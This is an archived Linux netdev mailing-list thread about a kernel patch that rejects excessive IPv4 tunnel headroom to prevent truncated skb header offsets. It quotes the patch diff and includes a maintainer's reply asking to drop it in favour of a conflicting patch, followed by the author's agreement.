> -			 struct ip_tunnel_parm_kern *p, __u32 fwmark);
> +			 struct ip_tunnel_parm_kern *p, __u32 fwmark,
> +			 struct netlink_ext_ack *extack);
>  int ip_tunnel_newlink(struct net *net, struct net_device *dev,
>  		      struct nlattr *tb[], struct ip_tunnel_parm_kern *p,
> -		      __u32 fwmark);
> +		      __u32 fwmark, struct netlink_ext_ack *extack);
>  void ip_tunnel_setup(struct net_device *dev, unsigned int net_id);
>  
>  bool ip_tunnel_netlink_encap_parms(struct nlattr *data[],
> diff --git a/net/ipv4/ip_gre.c b/net/ipv4/ip_gre.c
> index 0ba1e94e9..6907688d0 100644
> --- a/net/ipv4/ip_gre.c
> +++ b/net/ipv4/ip_gre.c
> @@ -1424,7 +1424,7 @@ static int ipgre_newlink(struct net_device *dev,
>  	if (err < 0)
>  		return err;
>  	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
> -				 fwmark);
> +				 fwmark, extack);
>  }
>  
>  static int erspan_newlink(struct net_device *dev,
> @@ -1445,7 +1445,7 @@ static int erspan_newlink(struct net_device *dev,
>  	if (err)
>  		return err;
>  	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
> -				 fwmark);
> +				 fwmark, extack);
>  }
>  
>  static int ipgre_changelink(struct net_device *dev, struct nlattr *tb[],
> @@ -1468,7 +1468,7 @@ static int ipgre_changelink(struct net_device *dev, struct nlattr *tb[],
>  	if (err < 0)
>  		return err;
>  
> -	err = ip_tunnel_changelink(dev, tb, &p, fwmark);
> +	err = ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
>  	if (err < 0)
>  		return err;
>  
> @@ -1500,7 +1500,7 @@ static int erspan_changelink(struct net_device *dev, struct nlattr *tb[],
>  	if (err < 0)
>  		return err;
>  
> -	err = ip_tunnel_changelink(dev, tb, &p, fwmark);
> +	err = ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
>  	if (err < 0)
>  		return err;
>  
> diff --git a/net/ipv4/ip_tunnel.c b/net/ipv4/ip_tunnel.c
> index 9d114bd57..5e4f56c0e 100644
> --- a/net/ipv4/ip_tunnel.c
> +++ b/net/ipv4/ip_tunnel.c
> @@ -9,6 +9,7 @@
>  #include <linux/module.h>
>  #include <linux/types.h>
>  #include <linux/kernel.h>
> +#include <linux/limits.h>
>  #include <linux/slab.h>
>  #include <linux/uaccess.h>
>  #include <linux/skbuff.h>
> @@ -277,16 +278,31 @@ static struct net_device *__ip_tunnel_create(struct net *net,
>  	return ERR_PTR(err);
>  }
>  
> -static int ip_tunnel_bind_dev(struct net_device *dev)
> +static bool ip_tunnel_headroom_too_large(const struct net_device *dev,
> +					 unsigned int needed_headroom)
> +{
> +	unsigned int hlen;
> +
> +	hlen = ((dev->hard_header_len + needed_headroom) &
> +		~(HH_DATA_MOD - 1)) + HH_DATA_MOD;
> +
> +	return hlen >= U16_MAX - (sizeof(struct iphdr) + MAX_IPOPTLEN);
> +}
> +
> +static int ip_tunnel_calc_dev_config(struct net_device *dev,
> +				     const struct ip_tunnel_parm_kern *parms,
> +				     __u32 fwmark,
> +				     unsigned int *needed_headroom,
> +				     int *mtu,
> +				     struct netlink_ext_ack *extack)
>  {
>  	struct net_device *tdev = NULL;
>  	struct ip_tunnel *tunnel = netdev_priv(dev);
> -	const struct iphdr *iph;
> +	const struct iphdr *iph = &parms->iph;
>  	int hlen = LL_MAX_HEADER;
> -	int mtu = ETH_DATA_LEN;
>  	int t_hlen = tunnel->hlen + sizeof(struct iphdr);
>  
> -	iph = &tunnel->parms.iph;
> +	*mtu = ETH_DATA_LEN;
>  
>  	/* Guess output device to choose reasonable mtu and needed_headroom */
>  	if (iph->daddr) {
> @@ -294,36 +310,58 @@ static int ip_tunnel_bind_dev(struct net_device *dev)
>  		struct rtable *rt;
>  
>  		ip_tunnel_init_flow(&fl4, iph->protocol, iph->daddr,
> -				    iph->saddr, tunnel->parms.o_key,
> +				    iph->saddr, parms->o_key,
>  				    iph->tos & INET_DSCP_MASK, tunnel->net,
> -				    tunnel->parms.link, tunnel->fwmark, 0, 0);
> +				    parms->link, fwmark, 0, 0);
>  		rt = ip_route_output_key(tunnel->net, &fl4);
>  
>  		if (!IS_ERR(rt)) {
>  			tdev = rt->dst.dev;
>  			ip_rt_put(rt);
>  		}
> -		if (dev->type != ARPHRD_ETHER)
> -			dev->flags |= IFF_POINTOPOINT;
> -
> -		dst_cache_reset(&tunnel->dst_cache);
>  	}
>  
> -	if (!tdev && tunnel->parms.link)
> -		tdev = __dev_get_by_index(tunnel->net, tunnel->parms.link);
> +	if (!tdev && parms->link)
> +		tdev = __dev_get_by_index(tunnel->net, parms->link);
>  
>  	if (tdev) {
>  		hlen = tdev->hard_header_len + tdev->needed_headroom;
> -		mtu = min(tdev->mtu, IP_MAX_MTU);
> +		*mtu = min(tdev->mtu, IP_MAX_MTU);
> +	}
> +
> +	*needed_headroom = t_hlen + hlen;
> +	if (ip_tunnel_headroom_too_large(dev, *needed_headroom)) {
> +		NL_SET_ERR_MSG(extack, "tunnel headroom exceeds skb header offset limit");
> +		return -E2BIG;
>  	}
>  
> -	dev->needed_headroom = t_hlen + hlen;
> -	mtu -= t_hlen + (dev->type == ARPHRD_ETHER ? dev->hard_header_len : 0);
> +	*mtu -= t_hlen + (dev->type == ARPHRD_ETHER ? dev->hard_header_len : 0);
> +	if (*mtu < IPV4_MIN_MTU)
> +		*mtu = IPV4_MIN_MTU;
>  
> -	if (mtu < IPV4_MIN_MTU)
> -		mtu = IPV4_MIN_MTU;
> +	return 0;
> +}
> +
> +static int ip_tunnel_bind_dev(struct net_device *dev, int *mtu,
> +			      struct netlink_ext_ack *extack)
> +{
> +	struct ip_tunnel *tunnel = netdev_priv(dev);
> +	unsigned int needed_headroom;
> +	int err;
> +
> +	err = ip_tunnel_calc_dev_config(dev, &tunnel->parms, tunnel->fwmark,
> +					&needed_headroom, mtu, extack);
> +	if (err)
> +		return err;
> +
> +	if (tunnel->parms.iph.daddr) {
> +		if (dev->type != ARPHRD_ETHER)
> +			dev->flags |= IFF_POINTOPOINT;
> +		dst_cache_reset(&tunnel->dst_cache);
> +	}
> +	dev->needed_headroom = needed_headroom;
>  
> -	return mtu;
> +	return 0;
>  }
>  
>  static struct ip_tunnel *ip_tunnel_create(struct net *net,
> @@ -340,7 +378,9 @@ static struct ip_tunnel *ip_tunnel_create(struct net *net,
>  	if (IS_ERR(dev))
>  		return ERR_CAST(dev);
>  
> -	mtu = ip_tunnel_bind_dev(dev);
> +	err = ip_tunnel_bind_dev(dev, &mtu, NULL);
> +	if (err)
> +		goto err_dev_set_mtu;
>  	err = dev_set_mtu(dev, mtu);
>  	if (err)
>  		goto err_dev_set_mtu;
> @@ -859,13 +899,20 @@ void ip_tunnel_xmit(struct sk_buff *skb, struct net_device *dev,
>  }
>  EXPORT_SYMBOL_GPL(ip_tunnel_xmit);
>  
> -static void ip_tunnel_update(struct ip_tunnel_net *itn,
> -			     struct ip_tunnel *t,
> -			     struct net_device *dev,
> -			     struct ip_tunnel_parm_kern *p,
> -			     bool set_mtu,
> -			     __u32 fwmark)
> +static int ip_tunnel_update(struct ip_tunnel_net *itn,
> +			    struct ip_tunnel *t, struct net_device *dev,
> +			    struct ip_tunnel_parm_kern *p, bool set_mtu,
> +			    __u32 fwmark, struct netlink_ext_ack *extack)
>  {
> +	unsigned int needed_headroom;
> +	int mtu;
> +	int err;
> +
> +	err = ip_tunnel_calc_dev_config(dev, p, fwmark, &needed_headroom,
> +					&mtu, extack);
> +	if (err)
> +		return err;
> +
>  	ip_tunnel_del(itn, t);
>  	t->parms.iph.saddr = p->iph.saddr;
>  	t->parms.iph.daddr = p->iph.daddr;
> @@ -880,18 +927,15 @@ static void ip_tunnel_update(struct ip_tunnel_net *itn,
>  	t->parms.iph.ttl = p->iph.ttl;
>  	t->parms.iph.tos = p->iph.tos;
>  	t->parms.iph.frag_off = p->iph.frag_off;
> -
> -	if (t->parms.link != p->link || t->fwmark != fwmark) {
> -		int mtu;
> -
> -		WRITE_ONCE(t->parms.link, p->link);
> -		t->fwmark = fwmark;
> -		mtu = ip_tunnel_bind_dev(dev);
> -		if (set_mtu)
> -			WRITE_ONCE(dev->mtu, mtu);
> -	}
> +	WRITE_ONCE(t->parms.link, p->link);
> +	t->fwmark = fwmark;
> +	dev->needed_headroom = needed_headroom;
> +	if (set_mtu)
> +		WRITE_ONCE(dev->mtu, mtu);
>  	dst_cache_reset(&t->dst_cache);
>  	netdev_state_change(dev);
> +
> +	return 0;
>  }
>  
>  int ip_tunnel_ctl(struct net_device *dev, struct ip_tunnel_parm_kern *p,
> @@ -962,8 +1006,7 @@ int ip_tunnel_ctl(struct net_device *dev, struct ip_tunnel_parm_kern *p,
>  		}
>  
>  		if (t) {
> -			err = 0;
> -			ip_tunnel_update(itn, t, dev, p, true, 0);
> +			err = ip_tunnel_update(itn, t, dev, p, true, 0, NULL);
>  		} else {
>  			err = -ENOENT;
>  		}
> @@ -1128,6 +1171,7 @@ int ip_tunnel_init_net(struct net *net, unsigned int ip_tnl_net_id,
>  	struct ip_tunnel_net *itn = net_generic(net, ip_tnl_net_id);
>  	struct ip_tunnel_parm_kern parms;
>  	unsigned int i;
> +	int mtu;
>  
>  	itn->rtnl_link_ops = ops;
>  	for (i = 0; i < IP_TNL_HASH_SIZE; i++)
> @@ -1153,9 +1197,11 @@ int ip_tunnel_init_net(struct net *net, unsigned int ip_tnl_net_id,
>  	 */
>  	if (!IS_ERR(itn->fb_tunnel_dev)) {
>  		itn->fb_tunnel_dev->netns_immutable = true;
> -		itn->fb_tunnel_dev->mtu = ip_tunnel_bind_dev(itn->fb_tunnel_dev);
> -		ip_tunnel_add(itn, netdev_priv(itn->fb_tunnel_dev));
> -		itn->type = itn->fb_tunnel_dev->type;
> +		if (!ip_tunnel_bind_dev(itn->fb_tunnel_dev, &mtu, NULL)) {
> +			itn->fb_tunnel_dev->mtu = mtu;
> +			ip_tunnel_add(itn, netdev_priv(itn->fb_tunnel_dev));
> +			itn->type = itn->fb_tunnel_dev->type;
> +		}
>  	}
>  	rtnl_unlock();
>  
> @@ -1194,7 +1240,7 @@ EXPORT_SYMBOL_GPL(ip_tunnel_delete_net);
>  
>  int ip_tunnel_newlink(struct net *net, struct net_device *dev,
>  		      struct nlattr *tb[], struct ip_tunnel_parm_kern *p,
> -		      __u32 fwmark)
> +		      __u32 fwmark, struct netlink_ext_ack *extack)
>  {
>  	struct ip_tunnel *nt;
>  	struct ip_tunnel_net *itn;
> @@ -1222,7 +1268,9 @@ int ip_tunnel_newlink(struct net *net, struct net_device *dev,
>  	if (dev->type == ARPHRD_ETHER && !tb[IFLA_ADDRESS])
>  		eth_hw_addr_random(dev);
>  
> -	mtu = ip_tunnel_bind_dev(dev);
> +	err = ip_tunnel_bind_dev(dev, &mtu, extack);
> +	if (err)
> +		goto err_dev_set_mtu;
>  	if (tb[IFLA_MTU]) {
>  		unsigned int max = IP_MAX_MTU - (nt->hlen + sizeof(struct iphdr));
>  
> @@ -1247,7 +1295,8 @@ int ip_tunnel_newlink(struct net *net, struct net_device *dev,
>  EXPORT_SYMBOL_GPL(ip_tunnel_newlink);
>  
>  int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
> -			 struct ip_tunnel_parm_kern *p, __u32 fwmark)
> +			 struct ip_tunnel_parm_kern *p, __u32 fwmark,
> +			 struct netlink_ext_ack *extack)
>  {
>  	struct ip_tunnel *t;
>  	struct ip_tunnel *tunnel = netdev_priv(dev);
> @@ -1279,8 +1328,7 @@ int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
>  		}
>  	}
>  
> -	ip_tunnel_update(itn, t, dev, p, !tb[IFLA_MTU], fwmark);
> -	return 0;
> +	return ip_tunnel_update(itn, t, dev, p, !tb[IFLA_MTU], fwmark, extack);
>  }
>  EXPORT_SYMBOL_GPL(ip_tunnel_changelink);
>  
> diff --git a/net/ipv4/ip_vti.c b/net/ipv4/ip_vti.c
> index 3b8092999..18b6382b4 100644
> --- a/net/ipv4/ip_vti.c
> +++ b/net/ipv4/ip_vti.c
> @@ -585,7 +585,7 @@ static int vti_newlink(struct net_device *dev,
>  
>  	vti_netlink_parms(data, &parms, &fwmark);
>  	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb,
> -				 &parms, fwmark);
> +				 &parms, fwmark, extack);
>  }
>  
>  static int vti_changelink(struct net_device *dev, struct nlattr *tb[],
> @@ -600,7 +600,7 @@ static int vti_changelink(struct net_device *dev, struct nlattr *tb[],
>  		return -EPERM;
>  
>  	vti_netlink_parms(data, &p, &fwmark);
> -	return ip_tunnel_changelink(dev, tb, &p, fwmark);
> +	return ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
>  }
>  
>  static size_t vti_get_size(const struct net_device *dev)
> diff --git a/net/ipv4/ipip.c b/net/ipv4/ipip.c
> index b643194f5..1684a81a9 100644
> --- a/net/ipv4/ipip.c
> +++ b/net/ipv4/ipip.c
> @@ -481,7 +481,7 @@ static int ipip_newlink(struct net_device *dev,
>  
>  	ipip_netlink_parms(data, &p, &t->collect_md, &fwmark);
>  	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
> -				 fwmark);
> +				 fwmark, extack);
>  }
>  
>  static int ipip_changelink(struct net_device *dev, struct nlattr *tb[],
> @@ -512,7 +512,7 @@ static int ipip_changelink(struct net_device *dev, struct nlattr *tb[],
>  	    (!(dev->flags & IFF_POINTOPOINT) && p.iph.daddr))
>  		return -EINVAL;
>  
> -	return ip_tunnel_changelink(dev, tb, &p, fwmark);
> +	return ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
>  }
>  
>  static size_t ipip_get_size(const struct net_device *dev)
> diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c
> index 7f74d8b95..8e6e8c684 100644
> --- a/net/ipv4/raw.c
> +++ b/net/ipv4/raw.c
> @@ -43,6 +43,7 @@
>  #include <linux/slab.h>
>  #include <linux/errno.h>
>  #include <linux/kernel.h>
> +#include <linux/limits.h>
>  #include <linux/export.h>
>  #include <linux/spinlock.h>
>  #include <linux/sockios.h>
> @@ -356,6 +357,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
>  		goto out;
>  
>  	hlen = LL_RESERVED_SPACE(rt->dst.dev);
> +	if (hlen >= U16_MAX - (sizeof(struct iphdr) + MAX_IPOPTLEN))
> +		return -EINVAL;
>  	tlen = rt->dst.dev->needed_tailroom;
>  	skb = sock_alloc_send_skb(sk,
>  				  length + hlen + tlen + 15,
> diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c
> index b88d364e7..fa223ec02 100644
> --- a/net/ipv6/raw.c
> +++ b/net/ipv6/raw.c
> @@ -15,6 +15,7 @@
>   */
>  
>  #include <linux/errno.h>
> +#include <linux/limits.h>
>  #include <linux/types.h>
>  #include <linux/socket.h>
>  #include <linux/slab.h>
> @@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
>  	if (flags&MSG_PROBE)
>  		goto out;
>  
> +	if (hlen >= U16_MAX)
> +		return -EINVAL;
> +
>  	skb = sock_alloc_send_skb(sk,
>  				  length + hlen + tlen + 15,
>  				  flags & MSG_DONTWAIT, &err);
> -- 
> 2.43.0
> 
 


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net v3 1/1] net: ip_tunnel: reject excessive tunnel stacking headroom
  2026-08-02 18:49 ` [PATCH net v3 1/1] " Zihan Xi
  2026-08-03 15:28   ` Willem de Bruijn
@ 2026-08-04 12:07   ` Ido Schimmel
  2026-08-04 12:29     ` zihan xi
  1 sibling, 1 reply; 5+ messages in thread
From: Ido Schimmel @ 2026-08-04 12:07 UTC (permalink / raw)
  To: Zihan Xi
  Cc: netdev, dsahern, davem, edumazet, pabeni, horms, steffen.klassert,
	herbert, kuniyu, gustavoars, runyu.xiao, jlayton,
	michael.bommarito, kees, willemb, lirongqing, vega

On Sun, Aug 02, 2026 at 06:49:17PM +0000, Zihan Xi wrote:
> raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
> storing skb header offsets in 16-bit fields. If an egress device has a
> very large LL_RESERVED_SPACE(), skb_reset_network_header() stores a
> truncated network_header offset and the hdrincl path can later copy the
> user header to the wrong location.
> 
> The reproducer creates a very deep gretap stack. Each new tunnel derives
> its needed_headroom from the lower device, so the stack can grow the
> resulting LL headroom beyond what skb header offsets can represent.
> 
> Reject IPv4 tunnel configurations when the computed headroom would make
> LL_RESERVED_SPACE() exceed the skb header offset range needed by raw
> IPv4 hdrincl. This rejects the bad tunnel stack at configuration time
> instead of checking every packet in later hot paths. Keep small raw IPv4
> and IPv6 hdrincl guards as a final bound check for devices that are not
> created through the IPv4 tunnel control path.
> 
> Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---
> changes in v3:
>   - Rework the fix to reject excessive IPv4 tunnel headroom at
>     configuration time, following Willem de Bruijn's feedback.
>   - Drop the broad skb/XFRM/GSO/ESP/IPTFS runtime checked-helper changes
>     from v2.
>   - Keep only small raw hdrincl guards as a final bound check.
>   - v2 Link: https://lore.kernel.org/all/cover.1785529351.git.zihanx@nebusec.ai/
> changes in v2:
>   - Keep skb_segment() default error code after successful checked skb offset
>     updates to avoid returning ERR_PTR(0), as reported by the kernel test
>     robot.
>   - Extend the checked update coverage to XFRM, ESP offload, and IPTFS
>     transport-header recomputation paths instead of relying on raw hdrincl
>     entry guards alone.
>   - v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
> ---
>  include/net/ip_tunnels.h |   5 +-
>  net/ipv4/ip_gre.c        |   8 +--
>  net/ipv4/ip_tunnel.c     | 138 ++++++++++++++++++++++++++-------------
>  net/ipv4/ip_vti.c        |   4 +-
>  net/ipv4/ipip.c          |   4 +-
>  net/ipv4/raw.c           |   3 +
>  net/ipv6/raw.c           |   4 ++
>  7 files changed, 111 insertions(+), 55 deletions(-)

The patch conflicts with another patch from nebusec.ai:

https://lore.kernel.org/netdev/0ae4aa29223b89049727aec4d36f144bad41537e.1785476387.git.zhilinz@nebusec.ai/

nebusec.ai cannot send conflicting patches and make it our problem to
sort it out. I think we should proceed with the patch I mentioned and
drop this one. The current patch doesn't handle IPv6 tunnels.

Related, please make sure the team is aware of:

https://lore.kernel.org/all/83360de7addb13a3b5f4d5e722148f248fdb2ae0.1784884817.git.pabeni@redhat.com/

Thanks

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH net v3 1/1] net: ip_tunnel: reject excessive tunnel stacking headroom
  2026-08-04 12:07   ` Ido Schimmel
@ 2026-08-04 12:29     ` zihan xi
  0 siblings, 0 replies; 5+ messages in thread
From: zihan xi @ 2026-08-04 12:29 UTC (permalink / raw)
  To: Ido Schimmel
  Cc: netdev, dsahern, davem, edumazet, pabeni, horms, steffen.klassert,
	herbert, kuniyu, gustavoars, runyu.xiao, jlayton,
	michael.bommarito, kees, willemb, lirongqing, vega

On Tue, Aug 4, 2026 at 8:08 PM Ido Schimmel <idosch@nvidia.com> wrote:
>
> On Sun, Aug 02, 2026 at 06:49:17PM +0000, Zihan Xi wrote:
> > raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
> > storing skb header offsets in 16-bit fields. If an egress device has a
> > very large LL_RESERVED_SPACE(), skb_reset_network_header() stores a
> > truncated network_header offset and the hdrincl path can later copy the
> > user header to the wrong location.
> >
> > The reproducer creates a very deep gretap stack. Each new tunnel derives
> > its needed_headroom from the lower device, so the stack can grow the
> > resulting LL headroom beyond what skb header offsets can represent.
> >
> > Reject IPv4 tunnel configurations when the computed headroom would make
> > LL_RESERVED_SPACE() exceed the skb header offset range needed by raw
> > IPv4 hdrincl. This rejects the bad tunnel stack at configuration time
> > instead of checking every packet in later hot paths. Keep small raw IPv4
> > and IPv6 hdrincl guards as a final bound check for devices that are not
> > created through the IPv4 tunnel control path.
> >
> > Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Assisted-by: Codex:gpt-5.4
> > Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> > ---
> > changes in v3:
> >   - Rework the fix to reject excessive IPv4 tunnel headroom at
> >     configuration time, following Willem de Bruijn's feedback.
> >   - Drop the broad skb/XFRM/GSO/ESP/IPTFS runtime checked-helper changes
> >     from v2.
> >   - Keep only small raw hdrincl guards as a final bound check.
> >   - v2 Link: https://lore.kernel.org/all/cover.1785529351.git.zihanx@nebusec.ai/
> > changes in v2:
> >   - Keep skb_segment() default error code after successful checked skb offset
> >     updates to avoid returning ERR_PTR(0), as reported by the kernel test
> >     robot.
> >   - Extend the checked update coverage to XFRM, ESP offload, and IPTFS
> >     transport-header recomputation paths instead of relying on raw hdrincl
> >     entry guards alone.
> >   - v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
> > ---
> >  include/net/ip_tunnels.h |   5 +-
> >  net/ipv4/ip_gre.c        |   8 +--
> >  net/ipv4/ip_tunnel.c     | 138 ++++++++++++++++++++++++++-------------
> >  net/ipv4/ip_vti.c        |   4 +-
> >  net/ipv4/ipip.c          |   4 +-
> >  net/ipv4/raw.c           |   3 +
> >  net/ipv6/raw.c           |   4 ++
> >  7 files changed, 111 insertions(+), 55 deletions(-)
>
> The patch conflicts with another patch from nebusec.ai:
>
> https://lore.kernel.org/netdev/0ae4aa29223b89049727aec4d36f144bad41537e.1785476387.git.zhilinz@nebusec.ai/
>
> nebusec.ai cannot send conflicting patches and make it our problem to
> sort it out. I think we should proceed with the patch I mentioned and
> drop this one. The current patch doesn't handle IPv6 tunnels.
>
> Related, please make sure the team is aware of:
>
> https://lore.kernel.org/all/83360de7addb13a3b5f4d5e722148f248fdb2ae0.1784884817.git.pabeni@redhat.com/
>
> Thanks

Hi Ido,

Thanks for pointing this out, and sorry for the confusion.

You are right, these two patches address the same headroom issue and
should not have been sent as competing fixes from the same team.

Let's proceed with Zhiling's patch and drop this series. We'll coordinate
internally and follow up on that thread if any further changes are needed,
including IPv6 tunnel coverage and Paolo's related patch.

Thanks,
Zihan

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-08-04 12:29 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-02 18:49 [PATCH net v3 0/1] net: ip_tunnel: reject excessive tunnel stacking headroom Zihan Xi
2026-08-02 18:49 ` [PATCH net v3 1/1] " Zihan Xi
2026-08-03 15:28   ` Willem de Bruijn
2026-08-04 12:07   ` Ido Schimmel
2026-08-04 12:29     ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox